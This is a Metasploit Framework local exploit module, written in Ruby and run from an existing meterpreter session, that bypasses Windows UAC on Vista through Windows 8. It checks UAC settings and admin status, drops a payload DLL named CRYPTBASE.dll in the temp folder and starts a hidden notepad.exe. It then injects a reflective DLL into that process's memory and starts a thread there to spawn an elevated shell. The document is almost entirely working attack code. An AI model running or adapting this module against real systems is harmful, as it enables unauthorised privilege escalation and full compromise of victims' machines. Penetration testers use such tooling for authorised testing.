## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'msf/core/exploit/exe' class Metasploit3 < Msf::Exploit::Local Rank = ExcellentRanking include Exploit::EXE include Post::Common include Post::File include Post::Windows::Priv def initialize(info={}) super( update_info( info, 'Name' => 'Windows Escalate UAC Protection Bypass (In Memory Injection)', 'Description' => %q{ This module will bypass Windows UAC by utilizing the trusted publisher certificate through process injection. It will spawn a second shell that has the UAC flag turned off. This module uses the Reflective DLL Injection technique to drop only the DLL payload binary instead of three seperate binaries in the standard technique. However, it requires the correct architecture to be selected, (use x64 for SYSWOW64 systems also). }, 'License' => MSF_LICENSE, 'Author' => [ 'David Kennedy "ReL1K" ', 'mitnick', 'mubix', # Port to local exploit 'Ben Campbell [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ [ 'Windows x86', { 'Arch' => ARCH_X86 } ], [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ] ], 'DefaultTarget' => 0, 'References' => [ [ 'URL', 'http://www.trustedsec.com/december-2010/bypass-windows-uac/', 'URL', 'http://www.pretentiousname.com/misc/W7E_Source/win7_uac_poc_details.html' ] ], 'DisclosureDate'=> "Dec 31 2010" )) end def exploit fail_with(Exploit::Failure::None, 'Already in elevated state') if is_admin? # # Verify use against Vista+ # winver = sysinfo["OS"] if winver !~ /Windows Vista|Windows 2008|Windows [78]/ fail_with(Exploit::Failure::NotVulnerable, "#{winver} is not vulnerable.") end if is_uac_enabled? vprint_status "UAC is Enabled, checking level..." else fail_with(Exploit::Failure::NotVulnerable, "UAC is not enabled, no reason to run module, exiting...\r\nRun exploit/windows/local/ask to elevate" ) end case get_uac_level when UACPromptCredsIfSecureDesktop, UACPromptConsentIfSecureDesktop, UACPromptCreds, UACPromptConsent fail_with(Exploit::Failure::NotVulnerable, "UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..." ) when UACDefault print_good "UAC is set to Default" vprint_status "BypassUAC can bypass this setting, continuing..." when UACNoPrompt fail_with(Exploit::Failure::NotVulnerable, "UAC is not enabled, no reason to run module\r\nRun exploit/windows/local/ask to elevate" ) end # Check if you are an admin vprint_status('Checking admin status...') admin_group = is_in_admin_group? if admin_group.nil? print_error('Either whoami is not there or failed to execute') print_error('Continuing under assumption you already checked...') else if admin_group print_good('Part of Administrators group! Continuing...') else print_error('Not in admins group, cannot escalate with this module') print_error('Exiting...') return end end if get_integrity_level == LowIntegrityLevel fail_with(Exploit::Failure::NoAccess, "Cannot BypassUAC from Low Integrity Level") end tmpdir = expand_path("%TEMP%").strip windir = expand_path("%WINDIR%").strip # path to the bypassuac binary path = ::File.join(Msf::Config.data_directory, "post") # decide, x86 or x64 sysarch = sysinfo["Architecture"] if sysarch =~ /x64/i unless(target_arch.first =~ /64/i) and (payload_instance.arch.first =~ /64/i) fail_with( Exploit::Failure::BadConfig, "x86 Target Selected for x64 System" ) end if sysarch =~ /WOW64/i bpdll_path = ::File.join(path, "bypassuac-x86.dll") else bpdll_path = ::File.join(path, "bypassuac-x64.dll") end else if (target_arch.first =~ /64/i) or (payload_instance.arch.first =~ /64/i) fail_with( Exploit::Failure::BadConfig, "x64 Target Selected for x86 System" ) end bpdll_path = ::File.join(path, "bypassuac-x86.dll") vprint_status(bpdll_path) end # # Generate payload and random names for upload # payload = generate_payload_dll payload_filepath = "#{tmpdir}\\CRYPTBASE.dll" print_status("Uploading the Payload DLL to the filesystem...") begin vprint_status("Payload DLL #{payload.length} bytes long being uploaded..") write_file(payload_filepath, payload) rescue ::Exception => e fail_with( Exploit::Exception::Unknown, "Error uploading file #{payload_filepath}: #{e.class} #{e}" ) end dll = '' File.open(bpdll_path, "rb" ) { |f| dll += f.read(f.stat.size) } offset = get_reflective_dll_offset(dll) print_status("Spawning process with Windows Publisher Certificate, to inject into...") cmd = "#{windir}\\System32\\notepad.exe" proc = client.sys.process.execute(cmd, nil, {'Hidden' => true }) if proc.nil? or proc.pid.nil? fail_with(Exploit::Failure::Unknown, "Spawning Process failed...") end pid = proc.pid vprint_status("Injecting #{datastore['DLL_PATH']} into process ID #{pid}") begin vprint_status("Opening process #{pid}") host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS) vprint_status("Allocating memory in procees #{pid}") mem = host_process.memory.allocate(dll.length + (dll.length % 1024)) # Ensure memory is set for execution host_process.memory.protect(mem) vprint_status("Allocated memory at address #{"0x%.8x" % mem}, for #{dll.length} bytes") vprint_status("Writing the payload into memory") host_process.memory.write(mem, dll) vprint_status("Executing payload") thread = host_process.thread.create(mem+offset, 0) print_good("Successfully injected payload in to process: #{pid}") client.railgun.kernel32.WaitForSingleObject(thread.handle,3000) rescue Rex::Post::Meterpreter::RequestError => e print_error("Failed to Inject Payload to #{pid}!") vprint_error(e.to_s) end # delete the uac bypass payload vprint_status("Cleaning up payload file...") file_rm(payload_filepath) end def get_reflective_dll_offset(dll) pe = Rex::PeParsey::Pe.new( Rex::ImageSource::Memory.new( dll ) ) pe.exports.entries.each do |entry| if( entry.name =~ /^\S*ReflectiveLoader\S*/ ) return pe.rva_to_file_offset( entry.rva ) end end raise "Can't find an exported ReflectiveLoader function!" end end